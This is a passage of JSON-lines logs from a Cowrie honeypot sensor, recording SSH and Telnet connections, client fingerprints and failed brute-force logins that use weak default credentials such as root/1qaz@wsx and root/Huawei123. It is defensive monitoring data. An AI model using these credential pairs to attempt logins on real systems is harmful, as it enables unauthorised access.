{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:13.551082Z","src_ip":"176.65.132.129","session":"0ef6b61c50a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46252,"dst_ip":"159.203.135.109","dst_port":22,"session":"56dd1fb4eab7","protocol":"ssh","message":"New connection: 176.65.132.129:46252 (159.203.135.109:22) [session: 56dd1fb4eab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:15.416940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:15.422236Z","src_ip":"176.65.132.129","session":"56dd1fb4eab7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:15.510051Z","src_ip":"176.65.132.129","session":"56dd1fb4eab7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:15.757493Z","src_ip":"176.65.132.129","session":"56dd1fb4eab7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.162.8.14","src_port":35780,"dst_ip":"10.17.0.5","dst_port":22,"session":"fad0b92d766f","protocol":"ssh","message":"New connection: 45.162.8.14:35780 (10.17.0.5:22) [session: fad0b92d766f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:16.016643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:16.022094Z","src_ip":"45.162.8.14","session":"fad0b92d766f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:16.140101Z","src_ip":"45.162.8.14","session":"fad0b92d766f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cc","message":"login attempt [root/cc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:16.631223Z","src_ip":"45.162.8.14","session":"fad0b92d766f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:16.987893Z","src_ip":"176.65.132.129","session":"56dd1fb4eab7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:17.751755Z","src_ip":"45.162.8.14","session":"fad0b92d766f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42712,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4a0e2c1b282","protocol":"ssh","message":"New connection: 176.65.132.129:42712 (159.203.135.109:22) [session: d4a0e2c1b282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:18.616542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:18.621336Z","src_ip":"176.65.132.129","session":"d4a0e2c1b282","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:18.704008Z","src_ip":"176.65.132.129","session":"d4a0e2c1b282","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator","message":"login attempt [operator/operator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:18.950885Z","src_ip":"176.65.132.129","session":"d4a0e2c1b282","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:20.037128Z","src_ip":"176.65.132.129","session":"d4a0e2c1b282","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37708,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdae0b26bd0a","protocol":"telnet","message":"New connection: 152.42.224.71:37708 (10.17.0.5:23) [session: cdae0b26bd0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:20.491713Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37710,"dst_ip":"10.17.0.5","dst_port":23,"session":"f275831f5a2d","protocol":"telnet","message":"New connection: 152.42.224.71:37710 (10.17.0.5:23) [session: f275831f5a2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:20.563338Z"}
{"eventid":"cowrie.session.closed","duration":66.84493112564087,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:20.881303Z","src_ip":"152.42.224.71","session":"26c4b56e74b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37714,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7ae0e912b21","protocol":"telnet","message":"New connection: 152.42.224.71:37714 (10.17.0.5:23) [session: e7ae0e912b21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:21.431453Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42716,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c8fac056327","protocol":"ssh","message":"New connection: 176.65.132.129:42716 (159.203.135.109:22) [session: 6c8fac056327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:21.991685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:21.997979Z","src_ip":"176.65.132.129","session":"6c8fac056327","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:22.081087Z","src_ip":"176.65.132.129","session":"6c8fac056327","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123","message":"login attempt [root/Huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:22.329224Z","src_ip":"176.65.132.129","session":"6c8fac056327","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":46986,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fc195ff75dd","protocol":"ssh","message":"New connection: 185.236.22.41:46986 (159.203.135.109:22) [session: 9fc195ff75dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:22.549543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:22.554725Z","src_ip":"185.236.22.41","session":"9fc195ff75dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:22.673381Z","src_ip":"185.236.22.41","session":"9fc195ff75dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"404329s","message":"login attempt [root/404329s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:23.036564Z","src_ip":"185.236.22.41","session":"9fc195ff75dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:23.414201Z","src_ip":"176.65.132.129","session":"6c8fac056327","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37720,"dst_ip":"10.17.0.5","dst_port":23,"session":"6768ec2cd640","protocol":"telnet","message":"New connection: 152.42.224.71:37720 (10.17.0.5:23) [session: 6768ec2cd640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:23.760088Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:24.163592Z","src_ip":"185.236.22.41","session":"9fc195ff75dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42728,"dst_ip":"159.203.135.109","dst_port":22,"session":"c385b43e2805","protocol":"ssh","message":"New connection: 176.65.132.129:42728 (159.203.135.109:22) [session: c385b43e2805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:25.246350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:25.251105Z","src_ip":"176.65.132.129","session":"c385b43e2805","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:25.333658Z","src_ip":"176.65.132.129","session":"c385b43e2805","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:25.580079Z","src_ip":"176.65.132.129","session":"c385b43e2805","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:26.685297Z","src_ip":"176.65.132.129","session":"c385b43e2805","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59834,"dst_ip":"10.17.0.5","dst_port":23,"session":"bacd4cb8bf3a","protocol":"telnet","message":"New connection: 152.42.224.71:59834 (10.17.0.5:23) [session: bacd4cb8bf3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:27.884976Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60318,"dst_ip":"159.203.135.109","dst_port":22,"session":"317db97fc5e9","protocol":"ssh","message":"New connection: 176.65.132.129:60318 (159.203.135.109:22) [session: 317db97fc5e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:28.525339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:28.530471Z","src_ip":"176.65.132.129","session":"317db97fc5e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:28.615699Z","src_ip":"176.65.132.129","session":"317db97fc5e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"jack","message":"login attempt [jack/jack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:29.034793Z","src_ip":"176.65.132.129","session":"317db97fc5e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:30.120776Z","src_ip":"176.65.132.129","session":"317db97fc5e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00199031829834,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:31.072872Z","src_ip":"152.42.224.71","session":"7125b5a869f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.249.28.115","src_port":41770,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b910dd326f4","protocol":"ssh","message":"New connection: 23.249.28.115:41770 (159.203.135.109:22) [session: 3b910dd326f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:31.763755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:31.768589Z","src_ip":"23.249.28.115","session":"3b910dd326f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-